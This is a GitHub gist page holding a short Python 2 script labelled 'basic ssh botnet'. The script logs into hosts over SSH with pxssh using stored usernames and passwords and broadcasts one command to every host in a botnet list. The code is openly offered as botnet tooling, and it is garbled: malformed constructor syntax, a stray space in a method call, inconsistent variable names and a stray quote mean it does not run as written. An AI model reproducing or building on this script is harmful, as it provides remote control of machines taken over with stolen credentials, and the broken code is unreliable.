Skip to content

Instantly share code, notes, and snippets.

@reanimat0r
Forked from lava9868/botnet.py
Created June 19, 2020 21:09
Show Gist options
  • Save reanimat0r/e628d02a33d9e8d0293c43748789f128 to your computer and use it in GitHub Desktop.
Save reanimat0r/e628d02a33d9e8d0293c43748789f128 to your computer and use it in GitHub Desktop.
botnet in python
# basic ssh botnet
import pxssh #calling pxssh module
class Client: #defining class with name client
def_init_(self,host,user,password):
self.host = host
self.user=user
self.password = password
self.session = self.connect() # for ssh session
def connect(self): # connect method, takes self
try:
s=pxssh.pxssh()
s.login(self.host,self.user,self.password)
return s
except Exception,e:
print e
print '[-] Error Connecting'
def send_command(self,cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetComand(command):
for client in botnet:
output = client.send _command(command)
print'[*] Output from '+client.host
print'[*]'+ output
def addClient(host,user,password):
client = Client(host,user,password)
botNet.append(client)
botNet = []
addClient('127.0.0.1',''ubuntu','pass')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment